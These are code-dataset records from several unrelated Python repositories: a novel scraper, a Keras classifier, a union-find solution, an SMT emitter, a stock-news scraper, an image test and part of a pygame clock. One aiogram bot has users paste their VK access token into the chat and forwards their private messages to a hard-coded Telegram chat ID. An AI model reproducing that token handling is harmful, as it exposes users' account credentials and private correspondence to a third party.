"line_number": 63, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 68, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 69, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 106, "usage_type": "call"}]} {"seq_id": "18227003355", "text": "\nfrom flask import Flask, request, render_template\nimport requests\nimport json\nfrom lxml import etree\nimport booksource\nimport re\n\napp = Flask(__name__)\n\ndef withDataCode(r):\n encode_content = r.text\n if r.encoding == 'ISO-8859-1':\n encodings = requests.utils.get_encodings_from_content(r.text) \n if encodings:\n encoding = encodings[0]\n else:\n encoding = r.apparent_encoding\n encode_content = r.content.decode(encoding, 'replace') \n return encode_content\n\ndef getEtreeHtml(url):\n req = requests.get(url)\n encode_content = withDataCode(req)\n html = etree.HTML(encode_content)\n return html\n\ndef getSearchList(request):\n if request.method == 'POST':\n result = request.form\n bookname = result[\"bookname\"]\n booksources = booksource.bookRule\n lst = []\n for item in booksources:\n html = getEtreeHtml(item[\"ruleSearchUrl\"] + bookname)\n # 书本列表\n book_names = html.xpath(item[\"ruleSearchListName\"])\n book_urls = html.xpath(item[\"ruleSearchListUrl\"])\n \n for idx,book in enumerate(book_names):\n url = re.sub(r'^https://www.kuxiaoshuo.com', \"\", book_urls[idx])\n lst.append({\n 'bookName': book,\n 'bookUrl': url,\n 'bookId': item[\"bookSourceId\"]\n })\n return lst\n\ndef getChapterList(bookSourceId,bookId):\n curBookSource = {}\n booksources = booksource.bookRule\n for item in booksources:\n if item[\"bookSourceId\"] == bookSourceId:\n curBookSource = item\n\n # 查找当前书源下当前书本的章节列表\n html = getEtreeHtml(curBookSource[\"bookSourceUrl\"] + \"/\" + bookId + \"/\")\n chapter_names = html.xpath(curBookSource[\"ruleChapterName\"])\n chapter_urls = html.xpath(curBookSource[\"ruleChapterUrl\"])\n\n lst = []\n for idx,item in enumerate(chapter_names):\n url = re.sub(r'^https://www.kuxiaoshuo.com', \"\", chapter_urls[idx])\n url = re.sub(r'\\.html$',\"\",url)\n lst.append({\n \"chapter_name\": item,\n \"chapter_url\": \"/\" + curBookSource[\"bookSourceId\"] + url\n })\n return lst\n\ndef getChapterDetail(bookSourceId,bookId,chapterId):\n curBookSource = {}\n chapter = {}\n booksources = booksource.bookRule\n for item in booksources:\n if item[\"bookSourceId\"] == bookSourceId:\n curBookSource = item\n \n # 查找章节详情\n html = getEtreeHtml(curBookSource[\"bookSourceUrl\"] + \"/\" + bookId + \"/\" + chapterId + \".html\")\n \n chapter_details = html.xpath(curBookSource[\"ruleChapterContent\"])\n chapter_prev = html.xpath(curBookSource[\"ruleChapterPrev\"])\n chapter_list = html.xpath(curBookSource[\"ruleChapterList\"])\n chapter_next = html.xpath(curBookSource[\"ruleChapterNext\"])\n chapter_prev = re.sub(r'^https://www.kuxiaoshuo.com', \"\", chapter_prev[0])\n chapter_prev = re.sub(r'\\.html$',\"\",chapter_prev)\n chapter_list = re.sub(r'^https://www.kuxiaoshuo.com', \"\", chapter_list[0])\n chapter_list = re.sub(r'\\.html$',\"\",chapter_list)\n chapter_next = re.sub(r'^https://www.kuxiaoshuo.com', \"\", chapter_next[0])\n chapter_next = re.sub(r'\\.html$',\"\",chapter_next)\n # 上下章节数据重构\n chapter_prev_list_next = [\n {\"title\": \"上一章\", \"url\": \"/\" + curBookSource[\"bookSourceId\"] + chapter_prev},\n {\"title\": \"目录\", \"url\": \"/\" + curBookSource[\"bookSourceId\"] + chapter_list},\n {\"title\": \"下一章\", \"url\": \"/\" + curBookSource[\"bookSourceId\"] + chapter_next}\n ]\n print(chapter_details)\n print(chapter_prev_list_next)\n chapter = {\n \"chapter_details\": chapter_details,\n \"chapter_btns\": chapter_prev_list_next\n }\n return chapter", "repo_name": "Rattenking/python_read", "sub_path": "router.py", "file_name": "router.py", "file_ext": "py", "file_size_in_byte": 3507, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "requests.utils.get_encodings_from_content", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.utils", "line_number": 14, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 23, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 25, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 29, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 29, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 30, "usage_type": "name"}, {"api_name": "booksource.bookRule", "line_number": 32, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 41, "usage_type": "call"}, {"api_name": "booksource.bookRule", "line_number": 51, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 63, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 64, "usage_type": "call"}, {"api_name": "booksource.bookRule", "line_number": 74, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 86, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 87, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 88, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 89, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 90, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 91, "usage_type": "call"}]} {"seq_id": "5858792178", "text": "# -*- coding = utf-8 -*-\n# @Time : 21:13\n# @Author : lolita\n# @File : Multiclass_Neural_Network_for_1_9_Practice.py\n# @Software: PyCharm\n\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense\nfrom tensorflow.keras.activations import linear, relu, sigmoid\nimport matplotlib.pyplot as plt\nplt.style.use('./deeplearning.mplstyle')\nimport logging\nlogging.getLogger(\"tensorflow\").setLevel(logging.ERROR)\ntf.autograph.set_verbosity(0)\nfrom autils import *\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\nnp.set_printoptions(precision=2)\n\n# load dataset\nX, y = load_data()\n\ntf.random.set_seed(1234)\nmodel = Sequential(\n [\n tf.keras.Input(shape=(400,)),\n Dense(25, activation='relu', name=\"L1\"),\n Dense(15, activation='relu', name=\"L2\"),\n Dense(10, activation='linear', name=\"L3\"),\n ], name=\"my_model\"\n)\n\n# model.summary()\n\nmodel.compile(\n loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n optimizer=tf.keras.optimizers.Adam(learning_rate=0.001),\n)\n\nhistory = model.fit(\n X, y,\n epochs=40\n)\n\nimage_of_two = X[1015]\ndisplay_digit(image_of_two)\n\nprediction = model.predict(image_of_two.reshape(1, 400)) # prediction\n\nprint(f\" predicting a Two: \\n{prediction}\")\nprint(f\" Largest Prediction index: {np.argmax(prediction)}\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "lolitahouse/OpenCV-Practice-Project", "sub_path": "Deep_Learning/Class2/Week2/Multiclass_Neural_Network_for_1_9_Practice.py", "file_name": "Multiclass_Neural_Network_for_1_9_Practice.py", "file_ext": "py", "file_size_in_byte": 1384, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "matplotlib.pyplot.style.use", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 13, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.ERROR", "line_number": 15, "usage_type": "attribute"}, {"api_name": "tensorflow.autograph.set_verbosity", "line_number": 16, "usage_type": "call"}, {"api_name": "tensorflow.autograph", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 19, "usage_type": "attribute"}, {"api_name": "numpy.set_printoptions", "line_number": 20, "usage_type": "call"}, {"api_name": "tensorflow.random.set_seed", "line_number": 25, "usage_type": "call"}, {"api_name": "tensorflow.random", "line_number": 25, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.models.Sequential", "line_number": 26, "usage_type": "call"}, {"api_name": "tensorflow.keras.Input", "line_number": 28, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 28, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 29, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 30, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.keras.losses.SparseCategoricalCrossentropy", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 38, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 53, "usage_type": "call"}]} {"seq_id": "31028944635", "text": "from typing import List\nclass UnionFind:\n def __init__(self,n):\n self.parent = list(range(n))\n self.size = [1] * n\n self.Area = n\n def find(self,x):\n if self.parent[x] == x:\n return x\n self.parent[x] = self.find(self.parent[x])\n return self.parent[x]\n def union(self,x,y):\n fx , fy = self.find(x),self.find(y)\n if fx == fy:\n return \n if self.size[fx] < self.size[fy]:\n fx,fy = fy,fx\n self.Area -= 1\n self.parent[fy] = self.parent[fx]\n self.size[fx] += self.size[fy]\n \nclass Solution:\n def makeConnected(self, n: int, connections: List[List[int]]) -> int:\n uf = UnionFind(n)\n if len(connections) < n - 1:\n return -1\n for conn in connections:\n uf.union(conn[1],conn[0])\n\n return uf.Area - 1", "repo_name": "lock19960613/SCL", "sub_path": "Daily/PY/Leetcode1319-联通网络的操作次数.py", "file_name": "Leetcode1319-联通网络的操作次数.py", "file_ext": "py", "file_size_in_byte": 870, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 23, "usage_type": "name"}]} {"seq_id": "27099451880", "text": "from typing import List\nfrom ffg.operators.generic import Operator\nfrom ffg.visitors.constant_visitor import ConstantVisitor\nfrom ffg.visitors.printer_visitor import PrinterVisitor\nfrom ffg.visitors.rewrite_visitor import RewriteVisitor\nfrom ffg.visitors.variable_visitor import VariableVisitor\nfrom ffg.visitors.compound_visitor import CompoundVisitor\n\n\ndef emit(trees: List[Operator], file_path, args):\n \"\"\"\n Emits multiple fusion functions and its inverses to yinyan's configuration file.\n\n is_symbolic: when traversing constants, emits either the names (true) or the values (false).\n \"\"\"\n with open(file_path, 'w', encoding='utf-8') as file:\n emit_options(file, args)\n for tree in trees:\n emit_function(tree, file)\n\n\ndef emit_options(file, args):\n \"\"\"\n Emits the options used to generate the functions as comments to the yinyang configuration files.\n \"\"\"\n print(\"; Generated with: https://github.com/nicdard/fusion-function-generator\", file=file)\n print(\n f\"; {args.num_functions} functions (number of #begin ... #end blocks)\", file=file)\n print(f\"; {args.size} operators per function\", file=file)\n print(\"\", file=file)\n\n\ndef emit_function(tree: Operator, file, wrap=True):\n \"\"\"\n Emits a fusion function and its inverses to yinyang's configuration file:\n #begin\n \n \n \n []\n \n \n \n #end\n For more information on the format please visit:\n https://yinyang.readthedocs.io/en/latest/fusion.html#fusion-functions\n\n is_wrapped: emit also #begin and #end lines.\n \"\"\"\n\n rewriter = RewriteVisitor()\n printer = PrinterVisitor()\n expander = CompoundVisitor()\n variables = tree.accept(VariableVisitor())\n constants = tree.accept(ConstantVisitor())\n\n if wrap:\n # Block begin\n print(\"#begin\", file=file)\n\n # Variable declarations\n for variable, type in sorted(variables.items()):\n print(f\"(declare-const {variable} {type})\", file=file)\n\n # Constant declarations\n for constant, type in constants.items():\n print(f\"(declare-const {constant} {type})\", file=file)\n\n # Fusion function\n print(f\"(assert {tree.accept(expander).accept(printer)})\", file=file)\n\n # Inverses\n for inverse_root in tree.accept(rewriter):\n print(f\"(assert {inverse_root.accept(expander).accept(printer)})\", file=file)\n\n if wrap:\n # Block end\n print(\"#end\\n\", file=file)\n", "repo_name": "nicdard/fusion-function-generator", "sub_path": "ffg/emitter/yinyang_emitter.py", "file_name": "yinyang_emitter.py", "file_ext": "py", "file_size_in_byte": 2619, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 10, "usage_type": "name"}, {"api_name": "ffg.operators.generic.Operator", "line_number": 10, "usage_type": "name"}, {"api_name": "ffg.operators.generic.Operator", "line_number": 33, "usage_type": "name"}, {"api_name": "ffg.visitors.rewrite_visitor.RewriteVisitor", "line_number": 51, "usage_type": "call"}, {"api_name": "ffg.visitors.printer_visitor.PrinterVisitor", "line_number": 52, "usage_type": "call"}, {"api_name": "ffg.visitors.compound_visitor.CompoundVisitor", "line_number": 53, "usage_type": "call"}, {"api_name": "ffg.visitors.variable_visitor.VariableVisitor", "line_number": 54, "usage_type": "call"}, {"api_name": "ffg.visitors.constant_visitor.ConstantVisitor", "line_number": 55, "usage_type": "call"}]} {"seq_id": "3518543347", "text": "import yfinance as yf\nimport pandas as pd\nfrom urllib.request import Request, urlopen\nfrom bs4 import BeautifulSoup\nimport requests\nimport os\n\npd.set_option(\"display.max_rows\", None, \"display.max_columns\", None)\n\ncompany_name = input(\"Enter a company name: \")\nroot = \"https://finance.yahoo.com\"\nlink = \"https://finance.yahoo.com/quote/\" + str(company_name)\n\n#get company max history and write to file\nti = yf.Ticker(company_name)\ncompany_history = ti.history(\"max\")\ndel company_history[\"Dividends\"]\ndel company_history[\"Stock Splits\"]\n#print(type(company_history))\ncompany_history = company_history.iloc[::-1]\n#calculate attitude Close now and Close 3 days ago\ncompany_history['3day_before_change'] = company_history['Close'] / company_history['Close'].shift(-3)\ndir = \"./companies/\" + str(company_name) + \"/\"\nfilename = dir + str(company_name) + \".csv\"\nos.makedirs(os.path.dirname(filename), exist_ok=True)\nf = open(filename, \"w+\")\nf.write(str(company_history))\n\n#get news about a company and write to file\nreq = Request(link, headers={'User-Agent': 'Mozilla/5.0'})\nwebpage = urlopen(req).read()\nwith requests.Session() as C:\n soup = BeautifulSoup(webpage, 'html.parser')\n list = []\n for item in soup.find_all('div', attrs={'class': 'Py(14px) Pos(r)'}):\n news_link = str(item.find('a', href=True)['href'])\n news_title = str(item.find('h3', attrs={'class': 'Mb(5px)'}).get_text())\n list.append(news_title + \"\\t\" + (root + news_link) + \"\\n\")\n #print(news_link)\n #print(news_title)\n\nnews = dir + \"News.csv\"\nf = open(news, \"w+\")\nfor item in list:\n f.write(item)", "repo_name": "Densdix/YahooFinanceTask", "sub_path": "test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1605, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.set_option", "line_number": 8, "usage_type": "call"}, {"api_name": "yfinance.Ticker", "line_number": 15, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "urllib.request.Request", "line_number": 30, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 31, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 32, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 33, "usage_type": "call"}]} {"seq_id": "12559622677", "text": "from aiogram import types, Dispatcher\nfrom aiogram.types import Message\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram.dispatcher.filters.state import State, StatesGroup\nfrom FSM import fsm_machine as fsm\nimport sqlite3\nfrom loader import dp, bot, db, cur, loop\nfrom markups import start_markup as kb\nfrom libs.vk_api.longpoll import VkLongPoll, VkEventType\nimport libs.vk_api\nimport libs.vk\n\nchat = 5364809518\n\n@dp.message_handler(commands=['start', 'help'])\nasync def command_start(message: Message):\n await bot.send_message(message.from_user.id, \"test\", reply_markup=kb.startMenu)\n\n@dp.message_handler(state=None)\nasync def keyboard(message: Message):\n if message.text == \"Помощь\":\n await bot.send_message(message.from_user.id, \"Message 1\")\n if message.text == \"Подключить уведомления\":\n await fsm.FSMConnect.userToken.set()\n await message.answer(\"Отправь сюда свой токен ВК. Получить его можешь на сайте https://vkhost.github.io/ \\n\"\n \"Инструкция:\\n\"\n \"Выбираешь Kate Mobile(желательно с компа).\\n\"\n \"Потом в адрессной строке копируешь символы от \\n\"\n \"acces_token= до &expires_in\\n\"\n \"Ну и все типа. Бот запустится. Остальные кнопки работать не будут\\n\"\n \"чтобы отрубить его пиши мне\")\n if message.text == \"Настройки\":\n await bot.send_message(message.from_user.id, \"Message 3\")\n\n@dp.message_handler(state=fsm.FSMConnect.userToken)\nasync def connect_push(message: Message, state: fsm.FSMContext):\n async with state.proxy() as data:\n data['userToken'] = message.text\n token = data['userToken']\n await state.finish()\n vk_session = libs.vk_api.VkApi(token=token)\n CLIENT = libs.vk.API(token)\n longpoll = VkLongPoll(vk_session)\n await bot.send_message(message.from_user.id, \"Прием сообщений запущен. Дальнейшее взаимодействие с ботом невозможно \"\n \"из за запущенного цикла, чтобы разорвать соединение с ВК - нажмите на\"\n \" соответствующую кнопку в меню.\")\n for event in longpoll.listen():\n if event.type == VkEventType.MESSAGE_NEW and event.to_me and event.text and event.from_user:\n if message.text == \"Stop\":\n await message.answer(\"stop\")\n break\n user_id = event.user_id\n text = event.text\n info_user = CLIENT.users.get(user_ids=user_id, v=5.131)[0]\n await bot.send_message(chat_id=chat, text=f'*❗ {info_user[\"first_name\"]} {info_user[\"last_name\"]}* ❗\\n\\n'\n f'{text}', parse_mode='Markdown')\n\ndef register_handlers_client(dp: Dispatcher):\n dp.register_message_handler(command_start, commands=['start', 'help'])\n dp.register_message_handler(keyboard, state=None)\n dp.register_message_handler(connect_push, state=fsm.FSMConnect.userToken)", "repo_name": "itsbelial/bot_push", "sub_path": "handlers/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 3426, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "aiogram.types.Message", "line_number": 16, "usage_type": "name"}, {"api_name": "loader.bot.send_message", "line_number": 17, "usage_type": "call"}, {"api_name": "loader.bot", "line_number": 17, "usage_type": "name"}, {"api_name": "markups.start_markup.startMenu", "line_number": 17, "usage_type": "attribute"}, {"api_name": "markups.start_markup", "line_number": 17, "usage_type": "name"}, {"api_name": "loader.dp.message_handler", "line_number": 15, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 15, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 20, "usage_type": "name"}, {"api_name": "loader.bot.send_message", "line_number": 22, "usage_type": "call"}, {"api_name": "loader.bot", "line_number": 22, "usage_type": "name"}, {"api_name": "FSM.fsm_machine.FSMConnect.userToken.set", "line_number": 24, "usage_type": "call"}, {"api_name": "FSM.fsm_machine.FSMConnect", "line_number": 24, "usage_type": "attribute"}, {"api_name": "FSM.fsm_machine", "line_number": 24, "usage_type": "name"}, {"api_name": "loader.bot.send_message", "line_number": 33, "usage_type": "call"}, {"api_name": "loader.bot", "line_number": 33, "usage_type": "name"}, {"api_name": "loader.dp.message_handler", "line_number": 19, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 19, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 36, "usage_type": "name"}, {"api_name": "FSM.fsm_machine.FSMContext", "line_number": 36, "usage_type": "attribute"}, {"api_name": "FSM.fsm_machine", "line_number": 36, "usage_type": "name"}, {"api_name": "libs.vk_api.longpoll.vk_api.VkApi", "line_number": 41, "usage_type": "call"}, {"api_name": "libs.vk_api.longpoll.vk_api", "line_number": 41, "usage_type": "attribute"}, {"api_name": "libs.vk_api.longpoll", "line_number": 41, "usage_type": "name"}, {"api_name": "libs.vk_api.longpoll.vk.API", "line_number": 42, "usage_type": "call"}, {"api_name": "libs.vk_api.longpoll.vk", "line_number": 42, "usage_type": "attribute"}, {"api_name": "libs.vk_api.longpoll", "line_number": 42, "usage_type": "name"}, {"api_name": "libs.vk_api.longpoll.VkLongPoll", "line_number": 43, "usage_type": "call"}, {"api_name": "loader.bot.send_message", "line_number": 44, "usage_type": "call"}, {"api_name": "loader.bot", "line_number": 44, "usage_type": "name"}, {"api_name": "libs.vk_api.longpoll.VkEventType.MESSAGE_NEW", "line_number": 48, "usage_type": "attribute"}, {"api_name": "libs.vk_api.longpoll.VkEventType", "line_number": 48, "usage_type": "name"}, {"api_name": "loader.bot.send_message", "line_number": 55, "usage_type": "call"}, {"api_name": "loader.bot", "line_number": 55, "usage_type": "name"}, {"api_name": "loader.dp.message_handler", "line_number": 35, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 35, "usage_type": "name"}, {"api_name": "FSM.fsm_machine.FSMConnect", "line_number": 35, "usage_type": "attribute"}, {"api_name": "FSM.fsm_machine", "line_number": 35, "usage_type": "name"}, {"api_name": "aiogram.Dispatcher", "line_number": 58, "usage_type": "name"}, {"api_name": "loader.dp.register_message_handler", "line_number": 59, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 59, "usage_type": "name"}, {"api_name": "loader.dp.register_message_handler", "line_number": 60, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 60, "usage_type": "name"}, {"api_name": "loader.dp.register_message_handler", "line_number": 61, "usage_type": "call"}, {"api_name": "loader.dp", "line_number": 61, "usage_type": "name"}, {"api_name": "FSM.fsm_machine.FSMConnect", "line_number": 61, "usage_type": "attribute"}, {"api_name": "FSM.fsm_machine", "line_number": 61, "usage_type": "name"}]} {"seq_id": "37040925167", "text": "# -*- coding: utf-8 -*-\n\"\"\"luther.generic.models.tests.test_images\"\"\"\nfrom StringIO import StringIO\nimport unittest\n\nfrom google.appengine.ext import ndb\nfrom PIL import Image\n\nfrom webapp2_caffeine.base_models import BaseImage\nfrom webapp2_caffeine.test_case import ModelTestCase\n\n\nclass FakeFile(object):\n value = 'R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7'.decode(\n 'base64')\n type = 'image/gif'\n\n\nclass ImageTest(ModelTestCase, unittest.TestCase):\n\n model_class = BaseImage\n properties = {'filename': ndb.StringProperty,\n 'original': ndb.StringProperty,\n 'resource': ndb.StringProperty,\n 'blobkey': ndb.StringProperty,\n 'url': ndb.StringProperty,\n 'width': ndb.IntegerProperty,\n 'height': ndb.IntegerProperty, }\n\n def test_set_image(self):\n entity = BaseImage()\n image = FakeFile()\n entity.set_image(image, 'image.gif')\n self.assertTrue(entity.resource)\n self.assertTrue(entity.blobkey)\n self.assertTrue(entity.url)\n self.assertEqual(entity.width, 1)\n self.assertEqual(entity.height, 1)\n\n def test_delete_blob(self):\n entity = BaseImage()\n image = FakeFile()\n entity.set_image(image, 'image.gif')\n entity._delete_blob()\n self.assertFalse(entity.url)\n\n def test_get_width_url(self):\n entity = BaseImage(width=50, height=50)\n url = entity.get_width_url(200)\n self.assertTrue(url.endswith('=s200'))\n entity = BaseImage(width=100, height=50)\n url = entity.get_width_url(200)\n self.assertTrue(url.endswith('=s200'))\n entity = BaseImage(width=50, height=100)\n url = entity.get_width_url(200)\n self.assertTrue(url.endswith('=s400'))\n\n def test_get_height_url(self):\n entity = BaseImage(width=50, height=50)\n url = entity.get_height_url(200)\n self.assertTrue(url.endswith('=s200'))\n entity = BaseImage(width=50, height=100)\n url = entity.get_height_url(200)\n self.assertTrue(url.endswith('=s200'))\n entity = BaseImage(width=100, height=50)\n url = entity.get_height_url(200)\n self.assertTrue(url.endswith('=s400'))\n\n def test_pre_transform(self):\n\n class TestImage(BaseImage):\n\n def _pre_transform(self, image_data):\n image = Image.open(StringIO(image_data))\n image = image.resize((2, 2))\n output = StringIO()\n image.save(output, format='GIF')\n content = output.getvalue()\n output.close()\n return 2, 2, content, 'image/gif'\n\n entity = TestImage()\n image = FakeFile()\n entity.set_image(image, 'image.gif')\n self.assertTrue(entity.resource)\n self.assertTrue(entity.blobkey)\n self.assertTrue(entity.url)\n self.assertEqual(entity.width, 2)\n self.assertEqual(entity.height, 2)\n self.assertTrue(entity.original)\n", "repo_name": "gvigneron/webapp2_caffeine", "sub_path": "tests/test_base_models.py", "file_name": "test_base_models.py", "file_ext": "py", "file_size_in_byte": 3055, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "webapp2_caffeine.test_case.ModelTestCase", "line_number": 19, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 19, "usage_type": "attribute"}, {"api_name": "webapp2_caffeine.base_models.BaseImage", "line_number": 21, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.StringProperty", "line_number": 22, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.ndb", "line_number": 22, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.StringProperty", "line_number": 23, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.ndb", "line_number": 23, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.StringProperty", "line_number": 24, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.ndb", "line_number": 24, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.StringProperty", "line_number": 25, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.ndb", "line_number": 25, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.StringProperty", "line_number": 26, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.ndb", "line_number": 26, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.IntegerProperty", "line_number": 27, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.ndb", "line_number": 27, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.IntegerProperty", "line_number": 28, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.ndb", "line_number": 28, "usage_type": "name"}, {"api_name": "webapp2_caffeine.base_models.BaseImage", "line_number": 31, "usage_type": "call"}, {"api_name": "webapp2_caffeine.base_models.BaseImage", "line_number": 41, "usage_type": "call"}, {"api_name": "webapp2_caffeine.base_models.BaseImage", "line_number": 48, "usage_type": "call"}, {"api_name": "webapp2_caffeine.base_models.BaseImage", "line_number": 51, "usage_type": "call"}, {"api_name": "webapp2_caffeine.base_models.BaseImage", "line_number": 54, "usage_type": "call"}, {"api_name": "webapp2_caffeine.base_models.BaseImage", "line_number": 59, "usage_type": "call"}, {"api_name": "webapp2_caffeine.base_models.BaseImage", "line_number": 62, "usage_type": "call"}, {"api_name": "webapp2_caffeine.base_models.BaseImage", "line_number": 65, "usage_type": "call"}, {"api_name": "webapp2_caffeine.base_models.BaseImage", "line_number": 71, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 74, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 74, "usage_type": "name"}, {"api_name": "StringIO.StringIO", "line_number": 74, "usage_type": "call"}, {"api_name": "StringIO.StringIO", "line_number": 76, "usage_type": "call"}]} {"seq_id": "4190413830", "text": "# Original code (tick) written by:\n# Al Sweigart al@inventwithpython.com\n# Modified by Erik Linder sm0rvv@gmail.com\n\nimport sys, pygame, time, math\nfrom pygame.locals import *\n\n# set up a bunch of constants\nBRIGHTBLUE = ( 0, 50, 255)\nWHITE = (255, 255, 255)\nDARKRED = (128, 0, 0)\nRED = (255, 0, 0)\nYELLOW = (255, 255, 0)\nGREEN = (0, 255, 0)\nBLACK = ( 0, 0, 0)\n\nLEDMARKCOLOR = RED\nLEDSECONDCOLOR = GREEN\nTEXTCOLOR = RED\nBGCOLOR = BLACK\n\nWINDOWWIDTH = 800 # width of the program's window, in pixels\nWINDOWHEIGHT = 600 # height in pixels\nWIN_CENTERX = int(WINDOWWIDTH / 2)\nWIN_CENTERY = int(WINDOWHEIGHT / 2)\n\nLEDSIZE = int(WINDOWHEIGHT / 70) # size of the clock number's boxes\nCLOCKSIZE = int(WINDOWHEIGHT / 2.4) # general size of the clock\nFONTSIZE = int(WINDOWHEIGHT / 5)\n\n\n# This function retrieves the x, y coordinates based on a \"tick\" mark, which ranges between 0 and 60\n# A \"tick\" of 0 is at the top of the circle, 30 is at the bottom, 45 is at the \"9 o'clock\" position, etc.\n# The \"stretch\" is how far from the origin the x, y return values will be\n# \"originx\" and \"originy\" will be where the center of the circle is (almost always the center of the window)\ndef getTickPosition(tick, stretch=1.0, originx=WIN_CENTERX, originy=WIN_CENTERY):\n\n # The cos() and sin(), rotate ourselves 15 ticks (90 degrees) back to reach 0\n tick -= 15\n\n # ensure that tick is between 0 and 60\n tick = tick % 60\n\n tick = 60 - tick\n\n # the argument to sin() or cos() needs to range between 0 and 2 * math.pi\n # Since tick is always between 0 and 60, (tick / 60.0) will always be between 0.0 and 1.0\n # The (tick / 60.0) lets us break up the range between 0 and 2 * math.pi into 60 increments.\n x = math.cos(2 * math.pi * (tick / 60.0))\n y = -1 * math.sin(2 * math.pi * (tick / 60.0)) # \"-1 *\" because in Pygame, the y coordinates increase going down (the opposite of how they normally go in mathematics)\n\n # sin() and cos() return a number between -1.0 and 1.0, so multiply to stretch it out.\n x *= stretch\n y *= stretch\n\n # Then do the translation (i.e. sliding) of the x and y points.\n # NOTE: Always do the translation addition AFTER doing the stretch.\n x += originx\n y += originy\n\n return x, y\n\n\n# standard pygame setup code\npygame.init()\n#DISPLAYSURF = pygame.display.set_mode((WINDOWWIDTH, WINDOWHEIGHT), pygame.FULLSCREEN)\nDISPLAYSURF = pygame.display.set_mode((WINDOWWIDTH, 